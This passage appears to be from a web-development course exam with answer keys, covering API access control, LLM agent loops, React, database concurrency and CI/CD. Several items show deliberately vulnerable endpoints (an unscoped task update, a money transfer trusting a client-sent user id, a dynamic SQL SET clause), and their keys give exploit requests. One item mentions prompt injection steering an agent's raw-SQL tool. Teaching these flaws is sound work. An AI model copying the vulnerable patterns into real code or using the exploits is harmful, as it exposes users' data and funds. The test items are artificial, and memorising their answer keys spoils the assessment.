3. Nested URLs `/parent/{a}/child/{b}` : does the code verify child `b` actually belongs to parent `a` ?
4. Random / UUID ids: an unguessable id is not an authorization check -- still verify ownership.

Catch-all: every endpoint must answer "is THIS user allowed to touch THIS data?" in the query.

Your agent produced this endpoint for a project-management app (`TaskUpdate` is a Pydantic model). It parameterizes its values and it checks authorization. Read it carefully.

```
@app.patch("/api/projects/{project_id}/tasks/{task_id}")
def update_task(project_id: int, task_id: int, body: TaskUpdate,
               user: User = Depends(current_user)):
    with engine.begin() as conn:
        member = conn.execute(
            text("SELECT 1 FROM project_members "
                "WHERE project_id = :p AND user_id = :u"),
            {"p": project_id, "u": user.id},
        ).first()
        if member is None:
            raise HTTPException(403, "not a member of this project")

        fields = body.model_dump(exclude_unset=True)
        if not fields:
            raise HTTPException(400, "nothing to update")
        set_clause = ", ".join(f"{col} = :{col}" for col in fields)
        result = conn.execute(
            text(f"UPDATE tasks SET {set_clause} WHERE id = :id"),
            {**fields, "id": task_id},
        )
        if result.rowcount == 0:
            raise HTTPException(404)
        return {"ok": True}
```

1. Name two things this endpoint does well, security-wise.
2. It has a serious access-control hole. Describe it, give a concrete request that exploits it, and give the fix.
3. The `SET` clause is built from whatever fields are in the request body. Explain the risk that creates, and what `TaskUpdate` has to guarantee for it to be safe.

ANSWER / KEY

1. Any two: it checks the caller is a member of the project before writing anything (a real authorization gate, not just authentication); it binds its values as parameters, so the inputs cannot inject SQL; it does the read-and-write in one transaction; it 400s on an empty update and 404s when no row matches.
2. Container-vs-item gap: the membership check confirms the caller is on `project_id`, but the `UPDATE` matches `WHERE id = :id` only -- nothing ties the task to that project. A member of project 5 sends `PATCH /api/projects/5/tasks/9999` where task 9999 belongs to project 200; membership passes and the write lands on another project's task. Fix: scope the write to the container -- ... `WHERE id = :id AND project_id = :p` (rowcount 0 -> 404).
3. The columns written are whatever keys the body carries, so the endpoint is only as safe as `TaskUpdate`. If it strictly whitelists the user-editable fields (title, description, status), fine; if it also

accepts something like `project_id` or `owner_id`, a user can move the task or change fields they should not (mass assignment); if it is a loose/ dict model, the column name in `{col} = :{col}` is attacker-controlled and becomes SQL injection. `TaskUpdate` must be a small, purpose-built whitelist of exactly the columns a member may edit.

After three turns of chat, your code calls `client.messages.create(messages=messages)` with this list. What does the server receive on this call, and what does it remember between calls? Explain in two or three sentences.

```
messages = [  
  {"role": "user",      "content": "My name is Andy."},  
  {"role": "assistant", "content": "Nice to meet you, Andy."},  
  {"role": "user",      "content": "I have a dog named Pickle."},  
  {"role": "assistant", "content": "Pickle is a great name!"},  
  {"role": "user",      "content": "What's my dog's name?"},  
]
```

ANSWER / KEY

The server receives all five messages, and that is all it ever sees. The API is stateless: every call ships the entire history, the server reads it fresh and replies, and it remembers nothing between calls.

The conversation "memory" lives in your `messages` list -- which is why the loop appends every user and assistant turn. (Same statelessness as the web server in 3.1 / 9.1.)

This is the body of an agent loop. It calls the model, runs any tool the model asks for, and loops. It hangs forever, asking for the same tool over and over. Explain why, and give the fix.

```
while True:
    r = client.messages.create(
        model="claude-opus-4-7", max_tokens=4096,
        tools=TOOLS, messages=messages,
    )
    if r.stop_reason != "tool_use":
        print(next(b.text for b in r.content if b.type == "text"))
        break
    for b in r.content:
        if b.type == "tool_use":
            TOOLS_BY_NAME[b.name](**b.input)    # runs the tool, drops the result
```

ANSWER / KEY

The loop runs the tool but never appends anything to `messages` -- not the assistant turn, not the tool result. Because the API is stateless, the next call sends the identical history, so the model asks for the same tool again, forever. The model also never sees the tool's output.

Fix: after the call append `{"role": "assistant", "content": r.content}`, and for each `tool_use` append a user message carrying a `tool_result` block (with the matching `tool_use_id` and the tool's output). Then the history grows and the model sees the result on the next turn.

You are giving your final-project agent two tools: `read_board(board_id)` and `run_sql(query)` (runs an arbitrary SQL string against your database). Do not write code. Answer:

1. Which tool is dangerous, and why -- connect it to a vulnerability class from 9.2.
2. One concrete thing an attacker, or a confused model, could do through it.
3. Two design moves that keep the agent's database access useful but safe.

ANSWER / KEY

1. `run_sql` is dangerous. It is the agent-era version of SQL / command injection: untrusted, model-chosen input flowing straight into the database, with no structure/value separation.
2. Drop a table, read or dump other users' rows, escalate privileges -- anything SQL can express. A prompt-injected message could steer the model into issuing it.
3. Replace the arbitrary-SQL tool with narrow, single-purpose tools (`read_board` , `post_message`) that take parameters, not raw SQL; run under a least-privilege / read-only DB role; and gate destructive actions behind an explicit confirmation. Tools are authorized access, so give the agent the narrowest capability that still does the job.

The button starts at 0. A user clicks it exactly once, and nothing else happens.

```
function Counter() {
  const [n, setN] = useState(0);

  async function bump() {
    setN(n + 1);
    await new Promise(r => setTimeout(r, 50)); // a slow network call
    setN(n + 1);
    console.log("n is", n);
  }

  return <button onClick={bump}>{n}</button>;
}
```

1. What number does the button show once everything settles?
2. What does the console print?
3. Explain why the second `setN(n + 1)`, which runs after the `await`, does not produce a 2.

ANSWER / KEY

1. 1. The click runs `bump` with this render's snapshot, where `n === 0`. `setN(0 + 1)` queues 1. After the `await` the same closure still sees `n === 0`, so the second `setN(0 + 1)` also sets 1.
2. `n is 0`. `console.log(n)` reads the same frozen `n` from the render in which `bump` was created -- still 0, even though state is now 1.
3. `n` is captured from the render that created this `bump`; calling `setN` schedules a re-render with a new `n` but does not change the `n` variable inside the already-running function, and awaiting does not refresh it. To get 2, use the functional updater `setN(c => c + 1)` both times, which reads the latest queued value instead of the stale snapshot.

Two requests run at the same instant, each in its own transaction. A row is locked by the `UPDATE` that touches it, and the lock is held until the transaction commits. Both requests execute their first `UPDATE`, then their second.

```
-- Request 1: transfer $10 from A to B
BEGIN;
UPDATE accounts SET balance = balance - 10 WHERE id = A;  -- locks row A
UPDATE accounts SET balance = balance + 10 WHERE id = B;  -- needs row B
COMMIT;

-- Request 2: transfer $5 from B to A
BEGIN;
UPDATE accounts SET balance = balance - 5 WHERE id = B;  -- locks row B
UPDATE accounts SET balance = balance + 5 WHERE id = A;  -- needs row A
COMMIT;
```

1. Walk through what happens once each request has run its first `UPDATE`.
2. Postgres does not hang forever here. What does it actually do, and what is the application then responsible for?
3. Give one change to how the transfers run that prevents this from ever happening.

ANSWER / KEY

1. Request 1's first `UPDATE` locks row A; Request 2's first `UPDATE` locks row B. Request 1's second `UPDATE` then needs row B (held by R2), so it waits; Request 2's second needs row A (held by R1), so it waits. Each holds the lock the other needs -- a deadlock, and neither can proceed.
2. Postgres detects the lock cycle and aborts one of the two transactions with a deadlock error, rolling it back; the other then commits. The application must catch that error and retry the aborted transfer, since it never committed.
3. Acquire the row locks in a consistent order regardless of transfer direction -- e.g., always update the lower account id first -- so the two transactions can never each hold a lock the other is waiting on.

This endpoint authenticates the caller and even checks account ownership before moving money.

```
class TransferRequest(BaseModel):
    user_id: int
    from_account: int
    to_account: int
    amount_cents: int

@app.post("/api/transfer")
def transfer(body: TransferRequest, user: User = Depends(current_user)):
    with engine.begin() as conn:
        acct = conn.execute(
            text("SELECT owner_id FROM accounts WHERE id = :id"),
            {"id": body.from_account},
        ).first()
        if acct.owner_id != body.user_id:
            raise HTTPException(403, "not your account")
        conn.execute(
            text("UPDATE accounts SET balance = balance - :a WHERE id = :id"),
            {"a": body.amount_cents, "id": body.from_account},
        )
        conn.execute(
            text("UPDATE accounts SET balance = balance + :a WHERE id = :id"),
            {"a": body.amount_cents, "id": body.to_account},
        )
    return {"ok": True}
```

1. Describe the security hole and give a concrete request that exploits it.
2. Give the fix.
3. There are also multiple correctness problems, separate from the security hole. Find at least one and say how you would guard against it.

ANSWER / KEY

1. The ownership check compares the account's `owner_id` to `body.user_id`, a value the client supplies, not to the authenticated `user.id`. An attacker sends `{user_id: <victim's id>, from_account: <victim's account>, to_account: <their own>, amount_cents: ...}`; the check passes because they set `user_id` to the victim's, and the transfer drains the victim. Identity must come from the verified token/session, never from the request body.
2. Drop `user_id` from the request and compare against the authenticated identity: `if acct.owner_id != user.id: raise HTTPException(403)`.
3. Any one: no check that `amount_cents > 0` (a negative amount reverses the transfer and steals) -- constrain it in the model (`Field(gt=0)`); no funds check, so the balance can go negative -- guard the

```
debit ( UPDATE ... WHERE id = :id AND balance >= :a and treat 0 rows affected as a 409);  
acct can be None if the account does not exist, which crashes -- 404 first.
```

This agent loop appends the assistant turn and feeds tool results back, so it avoids the infinite-loop trap. It still breaks. Find at least two problems and how you would fix each.

```
messages = [{"role": "user", "content": task}]
while True:
    resp = client.messages.create(
        model="claude-opus-4-7", max_tokens=2048,
        tools=TOOLS, messages=messages,
    )
    messages.append({"role": "assistant", "content": resp.content})
    if resp.stop_reason != "tool_use":
        break
    for block in resp.content:
        if block.type == "tool_use":
            result = TOOLS_BY_NAME[block.name](**block.input)
            messages.append({
                "role": "user",
                "content": [{"type": "tool_result", "content": result}],
            })
```

ANSWER / KEY

1. The `tool_result` is missing `tool_use_id`. Each result must carry the `id` of the `tool_use` block it answers, or the API cannot pair them and rejects the call. Fix: `{"type": "tool_result", "tool_use_id": block.id, "content": result}`.
 2. When the model requests several tools in one turn, this appends a separate user message per result. The API expects all `tool_results` for one assistant turn collected into a single user message that immediately follows it; interleaving one user message per tool breaks the required structure. Fix: build one list of `tool_result` blocks for every `tool_use` block in the turn and append it as one user message.
- Bonus: a tool that raises is unhandled and crashes the loop; catch it and return the error text as the `tool_result` so the model can react.

You are building the ticketing piece of an event app. The app hosts many events, each identified by its own `event_id`. What it has to do:

- Each event has its own fixed pool of free tickets (say 100). Any logged-in user can try to claim a ticket for a given event, and may hold at most one ticket per event (a user can hold tickets to several different events).
- A user should be able to tell whether they currently hold a ticket for a particular event.
- When a popular event's tickets drop, thousands of users hit the app within the same few seconds, and a client on a flaky connection may fire the same request more than once.

Design the API for this. Do not write code, and do not worry about exact status-code numbers. Cover all four:

1. What endpoint(s) does this feature need? For each, give the HTTP method, the URL, and one sentence on what it does and what it returns. (Identity comes from the auth token, not from anything the client sends.)
2. The most important correctness property is that you never hand out more than 100 tickets, even under the stampede. Explain the database-level mechanism that guarantees it, and one sentence on why doing the check in application code (read the count, then insert if there is room) does not.
3. A flaky-connection user fires their claim twice. How do you guarantee they end up with exactly one ticket, not two?
4. One ambiguity in the requirements above that you would settle before building, and the call you would make.

ANSWER / KEY

1. Any clean REST shape, for example: `POST /api/events/{event_id}/claim` -- claims a ticket for the authenticated user if any remain and they do not already hold one, returning their ticket (or telling them it is sold out / they already have one); and `GET /api/events/{event_id}/ticket` -- returns whether the current user holds a ticket for this event. A `DELETE .../ticket` to release one is a reasonable third. Credit is for a sensible shape and taking identity from the token, not for specific URLs.

2. Enforce capacity in the database with an atomic operation: e.g., a `tickets_remaining` counter decremented by `UPDATE ... SET tickets_remaining = tickets_remaining - 1 WHERE id = :e AND tickets_remaining > 0`, treating 0 rows affected as sold out, or an insert guarded by a constraint/row lock. Reading the count and then inserting in app code is a check-then-act race: under the stampede many requests read "room left" before any of them inserts, so they all insert and you oversell.

3. Make the claim idempotent on the user: a `UNIQUE(event_id, user_id)` constraint means a retried claim cannot create a second ticket -- the duplicate insert fails and you return their existing ticket -- or accept a client idempotency key and dedupe on it. Either way they end with exactly one ticket no matter how many retries arrive.

4. A real ambiguity, e.g.: do over-capacity requests waitlist or just fail; can a user release and re-claim; is the limit one per user, per account, or per device. State the call.

Two versions of a component that fetches an item's details when the selected `id` changes. The user clicks quickly through several items. Pick the version you would ship.

```
// Version A
function Detail({ id }) {
  const [data, setData] = useState(null);
  useEffect(() => {
    fetch(`/api/items/${id}`).then(r => r.json()).then(setData);
  }, [id]);
  return <div>{data?.name}</div>;
}

// Version B
function Detail({ id }) {
  const [data, setData] = useState(null);
  useEffect(() => {
    let active = true;
    fetch(`/api/items/${id}`)
      .then(r => r.json())
      .then(d => { if (active) setData(d); });
    return () => { active = false; };
  }, [id]);
  return <div>{data?.name}</div>;
}
```

1. Justify in three to five sentences, describing the specific bug the other version has and the exact sequence of clicks that triggers it.
2. Both versions still share one shortcoming -- what is it?
3. Version B's cleanup sets a flag rather than aborting the request. Name one thing that approach does NOT do that a real cancellation would.

ANSWER / KEY

1. Ship B. A has the out-of-order race: click item 1, then quickly item 2; if item 1's response arrives after item 2's, A's last `setData` is item 1's and the view shows item 1's data while the prop says item 2. B sets `active = false` in the effect cleanup, which React runs before the next effect, so a superseded response is ignored and only the current id's data is shown.
2. Neither has loading or error states and neither checks `response.ok`, so a slow fetch shows nothing and a failed one shows a stale value with no feedback.
3. The flag only ignores the result; the request still runs to completion and consumes network and server work, and a genuinely slow request cannot be cut off. `AbortController` would cancel the in-flight request itself.

Your pipeline: on every push to `main`, GitHub Actions builds a Docker image, pushes it to a registry, and the prod server pulls it and restarts. It works. Reason about three things:

1. The runner that builds the image and the prod server that runs it are different machines. What exactly travels from the runner to the server, through what, and why does the server never need your Dockerfile or your source code?
2. The image build runs the test suite (`RUN pytest`) inside the Dockerfile. Give one reason that is the wrong place for the tests in this pipeline, and where they belong.
3. A database password is needed by the CI job (to run tests against a real database) and by the running container in prod. Where should each come from? They are not the same place.

ANSWER / KEY

1. The built image travels -- not the Dockerfile or the source. The runner runs `docker build` then `docker push` es the image to the registry; the prod server `docker pull` s that same image and runs it, so the registry is the handoff between the two machines. A built image already contains the base Python, the installed dependencies, and the copied app code as layers, so the server runs it as-is and never builds anything -- which is why it needs neither the Dockerfile nor the source.
2. The CI workflow already runs the tests on every push before it builds and pushes, so `RUN pytest` re-runs them on every image build, couples building to test success, slows the build, and bakes test-only files into the image. Tests belong in the CI job (a separate step/job), not in the Dockerfile.
3. The CI secret lives in GitHub Actions Secrets (`${{ secrets.DB_PASSWORD }}`), injected into the workflow run. The prod secret lives in the host/platform's runtime config (env var / dashboard), injected when the container starts. Neither is baked into the image, and CI's secret store is not the prod secret store.

The script runs to completion. Give the value printed at A, B, C, and D. For B and C, add one sentence explaining why.

```
const original = [
  { id: 1, tags: ["a"] },
  { id: 2, tags: ["b"] },
];

const copy = [...original];
copy[0].tags.push("x");
copy.push({ id: 3, tags: ["c"] });
console.log("A:", original.length);    // ____
console.log("B:", original[0].tags);   // ____

const cloned = original.map(o => ({ ...o }));
cloned[1].tags.push("y");
console.log("C:", original[1].tags);   // ____
console.log("D:", cloned[1].id);       // ____
```

ANSWER / KEY

A: 2. `copy = [...original]` makes a new array, so `copy.push(...)` adds a third element to the copy only; `original.length` is still 2.

B: `["a", "x"]`. The spread copied the array's references, so `copy[0]` is the same object as `original[0]`; mutating `copy[0].tags` mutates that shared object, and `original[0].tags` sees it.

C: `["b", "y"]`. `{ ...o }` copies `o`'s own properties, but `tags` is a reference to the same array, so `cloned[1].tags` is `original[1].tags`; pushing "y" mutates the shared array.

D: 2. `cloned[1]` is a distinct object that happens to hold the same `id` value, 2.

Key idea: `spread([...], {...})` is a shallow copy -- it duplicates the top level but leaves nested objects and arrays shared.

`products.review_count` is a denormalized counter kept in sync as reviews are added. Two shoppers review the same product at the same instant; `review_count` starts at 5. Both transactions run their `SELECT review_count` before either runs its `UPDATE`.

```
@app.post("/api/products/{product_id}/reviews")
def add_review(product_id: int, body: ReviewIn,
               user: User = Depends(current_user)):
    with engine.begin() as conn:
        conn.execute(
            text("INSERT INTO reviews (product_id, author_id, body) "
                "VALUES (:p, :u, :b)"),
            {"p": product_id, "u": user.id, "b": body.text},
        )
        row = conn.execute(
            text("SELECT review_count FROM products WHERE id = :p"),
            {"p": product_id},
        ).first()
        conn.execute(
            text("UPDATE products SET review_count = :c WHERE id = :p"),
            {"c": row.review_count + 1, "p": product_id},
        )
    return {"ok": True}
```

1. How many review rows exist afterward, and what is `review_count`?
2. The handler already wraps all of this in a transaction (`engine.begin()`). Why didn't that prevent the problem?
3. Give a fix.

ANSWER / KEY

1. Two review rows (both INSERTs commit), but `review_count` is 6, not 7. Both SELECTs read 5, both compute $5 + 1$, both write 6 -- one increment is lost, and the counter no longer matches the number of reviews.
2. A transaction makes each request's statements commit or roll back together; it does not lock the row the plain `SELECT` read. So both transactions can read `review_count = 5` before either writes, and the read-modify-write races. A transaction is not a lock.
3. Make the increment atomic: `UPDATE products SET review_count = review_count + 1 WHERE id = :p`, which the database does as one locked read-and-write; or lock the row first with `SELECT review_count ... FOR UPDATE` so the second request waits. (Better still, drop the denormalized counter and derive it with `COUNT(*)`.)

You are building the React frontend for a shared discussion board (the BBS app from the assignments). One page shows the messages for a board and lets the signed-in user post a new one. Other people post at the same time, so messages from others should appear without the user reloading the page. Assume a parent `<Board>` that renders a `<MessageList>` and a `<NewMessageForm>`. Do not write code -- design it:

1. What pieces of state does this page need, and which component owns each?
2. How do new messages -- the user's own and other people's -- get into the list, and how do you keep it reasonably fresh without a manual refresh? Name the approach and one cost of it.
3. What distinct UI states must the page handle?
4. Name one thing that is easy to get wrong here, and how you would avoid it.

ANSWER / KEY

1. The messages array plus loading and error flags belong to the parent `<Board>` -- it owns the data and passes `messages` down to `<MessageList>`. The in-progress draft text belongs to `<NewMessageForm>` as a controlled input. The board id comes from props/route. Lifting the messages to the parent lets both the list and the post action read and refresh the same data.
2. Load the list on mount with `useEffect` (fetch, then `setMessages`). For the user's own post, POST it and append the server's returned message (or refetch). For other people's messages, poll: refetch on an interval with `useEffect` + `setInterval`, cleared in the effect's cleanup, every few seconds. Cost: polling lags by the interval and adds server load; it is the in-scope option, since real-time push (websockets) was not covered.
3. Loading (first fetch), error (fetch failed), empty (no messages yet), and the loaded list -- plus a disabled / in-flight state on the form while a post is submitting.
4. Any one: showing the loading spinner on every poll blanks the list, so only show it on the first load and not on background refetches; the form double-submitting or not clearing on success; appending the raw input instead of the server's stored message; a slow refetch landing after a newer one (ignore stale results). Pick one and the guard.

Describe what this component renders when `items` is `[]` (an empty cart), and when `items` has two products. One of the two cases shows something the developer did not intend -- what is it, and why does it happen?

```
function Cart({ items }) {  
  return (  
    <div>  
      <h2>Your cart</h2>  
      {items.length && (  
        <ul>  
          {items.map(i => <li key={i.id}>{i.name}</li>)}  
        </ul>  
      )}  
      {items.length > 0 && <button>Check out</button>}  
    </div>  
  );  
}
```

ANSWER / KEY

Empty cart (`items = []`): it renders the `<h2>Your cart</h2>`, then a stray `0` as text on the page, and no button. `items.length` is `0`, and `0 && <ul>...` evaluates to `0` (a falsy left operand is returned as-is), and React renders the number `0` as text. The second line is `0 > 0`, i.e. `false`, and React renders nothing for `false`, so the button is correctly absent.

Two products: `2 && <ul>...` returns the `<ul>` (a truthy left operand returns the right side), so the list renders; `2 > 0` is `true`, so the button renders. Both are as intended.

The unintended case is the stray `0` on the empty cart. Fix: make the left side a real boolean -- `items.length > 0 && <ul>...` (or `items.length ? <ul>... : null`) -- so it is never the number `0`.

`<Profile>` is mounted with `userId={1}`. Its parent then re-renders it with `userId={2}`, then re-renders it again with `userId={2}` (unchanged), and finally unmounts it. List the console output, in order.

```
function Profile({ userId }) {  
  console.log("render", userId);  
  useEffect(() => {  
    console.log("effect", userId);  
    return () => console.log("cleanup", userId);  
  }, [userId]);  
  return <p>User {userId}</p>;  
}
```

ANSWER / KEY

```
render 1  
effect 1  
render 2  
cleanup 1  
effect 2  
render 2  
cleanup 2
```

- Mount with 1: the component renders (render 1), then React runs the effect (effect 1).
- Re-render with 2: render 2 ; userId changed (1 -> 2), so React runs the previous effect's cleanup (cleanup 1), then the new effect (effect 2).
- Re-render with 2 again: render 2 ; the dep [userId] is unchanged, so the effect does not re-run and nothing else logs.
- Unmount: React runs the last effect's cleanup (cleanup 2).

Key idea: render runs first; on a dependency change React cleans up the old effect before running the new one; an unchanged dependency skips the effect entirely; and the final cleanup runs on unmount.